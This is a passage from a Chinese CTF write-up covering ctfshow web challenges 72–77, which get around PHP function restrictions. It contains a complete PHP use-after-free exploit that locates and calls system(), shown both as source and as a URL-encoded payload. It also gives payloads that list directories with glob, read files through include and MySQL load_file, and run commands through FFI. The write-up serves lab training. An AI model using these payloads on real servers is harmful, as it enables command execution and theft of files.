$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

  最终获取的payload:

1
c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A

web73

  同web71,使用

  ​c=var_export(scandir("/"));die();

  找到flag位置

  再使用

  ​c=include("/flagc.txt");exit();

  直接获取即可

web74

  ban掉了scandir

  可以使用glob​函数

  payload:c=var_export(glob("/*"));exit();

  获取flag位置后

  ​c=include("/flagx.txt");exit();

web75

  payload:

1
2
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  使用glob伪协议获取flag位置,再通过数据库查看flag(雾):

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

  ‍

web76

  与上题一样,使用glob伪协议获取flag位置:

  payload:

1
2
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  再通过数据库查看flag:

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

  ‍

web77

  FFI,php7.4以上才有https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html

  可以使用上题的方法发现flag位置:

1
2
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。

  通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi->system($a); //执行命令

  ​c=$ffi = FFI::cdef("int system(const char *command);");

  payload:

  ​c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a); exit();

  之后再使用c=readgzfile("1.txt");exit;​拿到flag

  ‍